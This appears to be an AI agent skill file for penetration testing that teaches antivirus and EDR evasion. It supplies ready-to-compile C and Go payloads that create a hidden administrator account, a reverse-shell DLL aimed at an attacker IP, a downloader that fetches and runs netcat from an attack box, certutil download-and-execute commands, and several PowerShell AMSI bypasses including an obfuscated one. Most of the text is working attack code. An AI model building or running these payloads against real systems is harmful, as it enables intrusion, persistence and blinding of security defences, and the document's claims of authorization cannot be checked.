Av Edr Evasion

AV/EDR Evasion

You are helping a penetration tester bypass AV/EDR that is blocking payload execution during an authorized engagement. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [av-edr-evasion] Activated → <target> to the screen on activation.
• Evidence → save compiled payloads and artifacts to engagement/evidence/evasion/ with descriptive filenames (e.g., custom-dll-winexec-x64.dll, amsi-bypass.ps1).

Create the evasion evidence directory if it doesn't exist:

mkdir -p engagement/evidence/evasion

Scope Boundary

This skill covers payload generation and runtime evasion only. It does NOT cover:

• The exploit technique itself (that's the calling skill's job)
• C2 framework setup or long-term implant development
• Full EDR agent removal or tampering
• Persistence mechanisms

When you have built and optionally verified the bypass payload — STOP. Return to the orchestrator with the artifact path, bypass method, and runtime prerequisites. The orchestrator will re-invoke the original technique skill with your payload.

Stay in methodology. Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise novel evasion techniques or write complex custom tooling beyond what's documented below.

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Understand what was blocked and on which target
• Check existing access methods for payload delivery
• Identify the target OS version and architecture

Exploit and Tool Transfer

Never download exploits, scripts, or tools directly to the target from the internet. Targets may lack outbound access, and operators must review files before execution on target.

Attackbox-first workflow:

1. Compile on attackbox — all payloads are built locally
2. Review — operator can inspect the C/Go source in this skill
3. Serve — python3 -m http.server 8080 from the directory containing the file
4. Pull from target — wget http://ATTACKBOX:8080/file -O C:\Windows\Temp\file or curl, certutil, evil-winrm upload, SMB transfer

Prerequisites

Context from the orchestrator (provided in Task prompt):

• What was blocked: payload type (DLL, EXE, script, webshell)
• How detected: signature, behavioral, AMSI, heuristic
• AV product: Windows Defender, CrowdStrike, SentinelOne, etc. (if known)
• Payload requirements: what the exploit needs (e.g., "x64 DLL with DllMain entry point", "EXE that adds admin user")
• Target OS: version and architecture
• Current access: user, method, shell session reference

Attackbox tools:

• x86_64-w64-mingw32-gcc / i686-w64-mingw32-gcc — mingw cross-compiler (apt install mingw-w64)
• python3 — for struct packing alternatives
• go (optional) — for Go cross-compilation

Tool output directory

Compile payloads to $TMPDIR then move to evidence:

# Compile
x86_64-w64-mingw32-gcc -shared -o $TMPDIR/payload.dll payload.c
# Save evidence
mv $TMPDIR/payload.dll engagement/evidence/evasion/payload.dll

Step 1: Assess the Detection

If not already provided by the orchestrator, determine:

1. What payload type was blocked? — DLL, EXE, script (PS1/BAT), webshell (JSP/ASPX/PHP)
2. How was it detected? — signature (file on disk caught), behavioral (process killed at runtime), AMSI (PowerShell/script blocked), heuristic (unknown detection)
3. What AV/EDR product? — Windows Defender, CrowdStrike Falcon, SentinelOne, Symantec, Carbon Black, etc.
4. What does the exploit need? — DLL with DllMain, EXE that runs a command, service binary, webshell file

Skip if context was already provided.

Detection Type → Bypass Route

Step 2: Custom Payload Compilation

When signature detection catches msfvenom or known tool binaries, compile custom payloads from C source. These work because they call legitimate Win32 APIs directly — no encoded shellcode buffer, no decoder stub, no msfvenom signature patterns.

DLL Payloads

For service abuse, DnsAdmins, DLL hijacking, or any technique needing a DLL.

Variant A: Mingw C — Command Execution via WinExec

Simplest and most reliable. Executes a single command when DllMain is called.

// payload.c — Custom DLL with command execution
// Compile: x86_64-w64-mingw32-gcc -shared -o payload.dll payload.c
// For 32-bit: i686-w64-mingw32-gcc -shared -o payload.dll payload.c
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // Replace with actual command — e.g., add admin user, reverse shell
        WinExec("cmd.exe /c net user hacker Password123! /add && net localgroup administrators hacker /add", 0);
    }
    return TRUE;
}

Common command payloads:

Add local admin:

cmd.exe /c net user hacker Password123! /add && net localgroup administrators hacker /add

PowerShell reverse shell (if AMSI is not blocking):

powershell.exe -nop -w hidden -e <BASE64_ENCODED_REVSHELL>

Certutil download + execute:

cmd.exe /c certutil -urlcache -split -f http://ATTACKBOX:8080/nc.exe C:\\Windows\\Temp\\nc.exe && C:\\Windows\\Temp\\nc.exe -e cmd.exe ATTACKBOX PORT

Variant B: Mingw C — Winsock Reverse Shell (Non-Blocking)

For DLL injection scenarios where DllMain must return quickly (the calling process hangs if DllMain blocks). Spawns reverse shell in a new thread.

// revshell.c — Non-blocking reverse shell DLL
// Compile: x86_64-w64-mingw32-gcc -shared -o revshell.dll revshell.c -lws2_32
#include <windows.h>
#include <winsock2.h>

#pragma comment(lib, "ws2_32")

// Change these to match your listener
#define ATTACKER_IP   "10.10.14.1"
#define ATTACKER_PORT 4444

DWORD WINAPI ReverseShell(LPVOID lpParam) {
    WSADATA wsa;
    SOCKET sock;
    struct sockaddr_in addr;
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;

    WSAStartup(MAKEWORD(2, 2), &wsa);
    sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    addr.sin_family = AF_INET;
    addr.sin_port = htons(ATTACKER_PORT);
    addr.sin_addr.s_addr = inet_addr(ATTACKER_IP);

    if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR) {
        closesocket(sock);
        WSACleanup();
        return 1;
    }

    memset(&si, 0, sizeof(si));
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;

    CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
    WaitForSingleObject(pi.hProcess, INFINITE);

    closesocket(sock);
    WSACleanup();
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        CreateThread(NULL, 0, ReverseShell, NULL, 0, NULL);
    }
    return TRUE;
}

Compilation:

# x64
x86_64-w64-mingw32-gcc -shared -o $TMPDIR/revshell.dll revshell.c -lws2_32

# x86
i686-w64-mingw32-gcc -shared -o $TMPDIR/revshell.dll revshell.c -lws2_32

# Move to evidence
mv $TMPDIR/revshell.dll engagement/evidence/evasion/revshell.dll

Variant C: Go Cross-Compile DLL

Alternative toolchain when mingw payloads are still caught or when Go is preferred. Go binaries have different signatures than C/mingw.

// payload.go — Go DLL with command execution
// Build: CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc GOOS=windows GOARCH=amd64 \
//        go build -buildmode=c-shared -ldflags="-s -w" -o payload.dll payload.go
package main

import "C"
import (
    "os/exec"
)

//export DllMain
func DllMain() {
    cmd := exec.Command("cmd.exe", "/c", "net user hacker Password123! /add && net localgroup administrators hacker /add")
    cmd.Run()
}

func main() {}

Build:

CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc GOOS=windows GOARCH=amd64 \
    go build -buildmode=c-shared -ldflags="-s -w" -o $TMPDIR/payload.dll payload.go
mv $TMPDIR/payload.dll engagement/evidence/evasion/payload.dll

EXE Payloads

For service binpath abuse, direct execution, scheduled tasks.

Variant A: Simple Command Execution

// payload_exe.c — Custom EXE with command execution
// Compile: x86_64-w64-mingw32-gcc -o payload.exe payload_exe.c
#include <windows.h>

int main() {
    WinExec("cmd.exe /c net user hacker Password123! /add && net localgroup administrators hacker /add", 0);
    return 0;
}

Variant B: Staged Downloader

Downloads and executes a second-stage payload. Useful when you need a larger tool on target but don't want to compile it into the binary.

// downloader.c — Downloads a file from attackbox and executes it
// Compile: x86_64-w64-mingw32-gcc -o downloader.exe downloader.c -lurlmon
#include <windows.h>
#include <urlmon.h>

#pragma comment(lib, "urlmon")

int main() {
    // Download second stage from attackbox
    URLDownloadToFileA(NULL,
        "http://ATTACKBOX:8080/nc.exe",
        "C:\\Windows\\Temp\\svc.exe",
        0, NULL);
    // Execute
    WinExec("C:\\Windows\\Temp\\svc.exe -e cmd.exe ATTACKBOX PORT", 0);
    return 0;
}

Why Custom C Works

msfvenom payloads are caught because AV vendors signature their decoder stubs, shellcode patterns, and PE structure. Custom C payloads:

• Call WinExec() / CreateProcess() directly — legitimate Win32 API calls
• No encoded shellcode buffer in the .text section
• No NOP sled, no decoder stub, no VirtualAlloc + memcpy shellcode loader
• Different PE structure, import table, and section layout than msfvenom output
• Each compilation produces a unique binary hash

This is not obfuscation — it's just writing normal C code that does what you need instead of using a tool whose output is universally signatured.

Step 3: AMSI Bypass

When PowerShell or .NET-based tools are blocked by the Antimalware Scan Interface. AMSI intercepts script content before execution and sends it to the AV engine for scanning.

Variant A: Reflection — amsiInitFailed

Forces AMSI to think initialization failed, so it skips all scanning.

# Reflection-based AMSI bypass (one-liner)
# Sets the amsiInitFailed field to True via reflection
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

If the above is caught (the string "AmsiUtils" itself is flagged), use concatenation to break the signature:

# Obfuscated variant — breaks known string signatures
$a = [Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils')
$b = $a.GetField('am'+'siIn'+'itFailed','NonPublic,Static')
$b.SetValue($null,$true)

Variant B: Memory Patching — AmsiScanBuffer

Patches the AmsiScanBuffer function in memory to always return clean.

# AmsiScanBuffer memory patch
# Overwrites the function's first bytes to return AMSI_RESULT_CLEAN
$w = 'System.Management.Automation.Am' + 'siUtils'
$t = [Ref].Assembly.GetType($w)
$m = $t.GetField('amsiContext','NonPublic,Static')
$ptr = $m.GetValue($null)

# Load amsi.dll and find AmsiScanBuffer
$amsi = [System.Runtime.InteropServices.Marshal]::GetHINSTANCE(
    [System.AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.Location -like '*amsi*' } |
    Select-Object -First 1
)

Variant C: PowerShell Downgrade

Force PowerShell v2 which doesn't have AMSI (requires .NET 2.0 installed):

powershell.exe -version 2 -command "<your command>"

Note: PowerShell v2 is often removed on modern systems. Check with:

Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2